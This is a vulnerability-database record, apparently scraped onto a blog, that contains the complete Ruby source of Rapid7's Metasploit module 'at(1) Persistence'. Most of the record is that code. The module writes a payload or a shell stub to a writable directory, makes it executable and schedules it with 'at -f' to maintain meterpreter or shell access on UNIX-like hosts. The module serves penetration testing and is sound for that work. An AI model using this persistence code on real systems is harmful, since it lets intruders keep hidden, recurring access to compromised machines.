{“lastseen”:”2025-09-12T19:06:22″,”description”:”This module executes a metasploit payload utilizing at(1) to execute jobs at a specific time. It should work out of the box with any UNIX-like…”,”published”:”2025-09-12T18:53:30″,”modified”:”2025-09-12T18:53:30″,”type”:”metasploit”,”title”:”at(1) Persistence”,”source”:””,”references”:””,”id”:”MSF:EXPLOIT-MULTI-PERSISTENCE-AT-“,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Local\\n Rank = ExcellentRanking\\n\\n include Msf::Post::File\\n include Msf::Exploit::FileDropper\\n include Msf::Exploit::EXE # for generate_payload_exe\\n include Msf::Exploit::Local::Persistence\\n include Msf::Exploit::Local::Timespec\\n prepend Msf::Exploit::Remote::AutoCheck\\n include Msf::Exploit::Deprecated\\n moved_from ‘exploits\/unix\/local\/at_persistence’\\n\\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘at(1) Persistence’,\\n ‘Description’ =\\u003e %q{\\n This module executes a metasploit payload utilizing at(1) to execute jobs at a specific time. It should work out of the box\\n with any UNIX-like operating system with atd running.\\n Verified on Kali linux and OSX 13.7.4\\n },\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Author’ =\\u003e [\\n ‘Jon Hart \\u003cjon_hart@rapid7.com\\u003e’\\n ],\\n ‘Targets’ =\\u003e [[‘Automatic’, {} ]],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘Platform’ =\\u003e %w[unix linux osx],\\n ‘Arch’ =\\u003e [\\n ARCH_CMD,\\n ARCH_X86,\\n ARCH_X64,\\n ARCH_ARMLE,\\n ARCH_AARCH64,\\n ARCH_PPC,\\n ARCH_MIPSLE,\\n ARCH_MIPSBE\\n ],\\n ‘SessionTypes’ =\\u003e [‘meterpreter’, ‘shell’],\\n ‘DisclosureDate’ =\\u003e ‘1997-01-01’, # http:\/\/pubs.opengroup.org\/onlinepubs\/007908799\/xcu\/at.html\\n ‘References’ =\\u003e [\\n [‘URL’, ‘https:\/\/linux.die.net\/man\/1\/at’],\\n [‘URL’, ‘https:\/\/www.geeksforgeeks.org\/at-command-in-linux-with-examples\/’],\\n [‘ATT\\u0026CK’, Mitre::Attack::Technique::T1053_002_AT],\\n [‘ATT\\u0026CK’, Mitre::Attack::Technique::T1053_001_AT_LINUX],\\n ],\\n ‘Notes’ =\\u003e {\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION, EVENT_DEPENDENT],\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘SideEffects’ =\\u003e [ARTIFACTS_ON_DISK, CONFIG_CHANGES]\\n }\\n )\\n )\\n\\n register_options([\\n OptString.new(‘TIME’, [false, ‘When to run job via at(1). See timespec’, ‘now’]),\\n OptString.new(‘PAYLOAD_NAME’, [false, ‘Name of the payload file to write’]),\\n ])\\n end\\n\\n def check\\n return CheckCode::Safe(\\”#{datastore[‘WritableDir’]} does not exist\\”) unless exists? datastore[‘WritableDir’]\\n return CheckCode::Safe(\\”#{datastore[‘WritableDir’]} not writable\\”) unless writable? datastore[‘WritableDir’]\\n\\n return CheckCode::Safe(‘at(1) not found on system’) unless command_exists? ‘at’\\n\\n # we do a direct test with atq instead of reading at.allow and at.deny\\n token = Rex::Text.rand_text_alphanumeric(8)\\n if cmd_exec(\\”atq \\u0026\\u0026 echo #{token}\\”).include?(token)\\n return CheckCode::Vulnerable(‘at(1) confirmed to be usable as a persistence mechanism’)\\n end\\n\\n CheckCode::Safe(‘at(1) not usable as a persistence mechanism likely due to explicit permissions in at.allow or at.deny’)\\n end\\n\\n def install_persistence\\n fail_with(Failure::BadConfig, \\”TIME option isn’t valid timespec\\”) unless Msf::Exploit::Local::Timespec.valid_timespec?(datastore[‘TIME’])\\n payload_path = datastore[‘WritableDir’]\\n payload_path = payload_path.end_with?(‘\/’) ? payload_path : \\”#{payload_path}\/\\”\\n payload_name = datastore[‘PAYLOAD_NAME’] || rand_text_alphanumeric(5..10)\\n payload_path \\u003c\\u003c payload_name\\n vprint_status(\\”Writing payload to #{payload_path}\\”)\\n\\n if payload.arch.first == ‘cmd’\\n upload_and_chmodx(payload_path, payload.encoded)\\n else\\n # because the payloads contents is imported into the at job, we use a stub to call our payload\\n # as it doesn’t like binary payloads directly\\n payload_path_exe = \\”#{payload_path}#{rand_text_alphanumeric(1..2)}\\”\\n # stub, but keep payload_path name for consistency\\n upload_and_chmodx(payload_path, \\”#!\/bin\/sh\\\\n#{payload_path_exe} \\u0026\\\\n\\”)\\n upload_and_chmodx(payload_path_exe, generate_payload_exe)\\n @clean_up_rc \\u003c\\u003c \\”rm #{payload_path_exe}\\\\n\\”\\n end\\n\\n @clean_up_rc \\u003c\\u003c \\”rm #{payload_path}\\\\n\\”\\n\\n job = cmd_exec(\\”at -f #{payload_path} #{datastore[‘TIME’]}\\”)\\n job_id = job.split(‘ ‘)[1]\\n print_good(\\”at job created with id: #{job_id}\\”)\\n # this won’t actually do anything since its not in a shell\\n @clean_up_rc \\u003c\\u003c \\”atrm #{job_id}\\\\n\\”\\n\\n print_status(\\”Waiting up to #{datastore[‘WfsDelay’]}sec for execution\\”)\\n end\\nend\\n”,”sourceHref”:”https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/multi\/persistence\/at.rb”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.rapid7.com\/db\/modules\/exploit\/multi\/persistence\/at\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-09-12T19:06:22″,”description”:”This module executes a metasploit payload utilizing at(1) to execute jobs at a specific time. It should work out of the box with any UNIX-like…”,”published”:”2025-09-12T18:53:30″,”modified”:”2025-09-12T18:53:30″,”type”:”metasploit”,”title”:”at(1)…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-17272","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n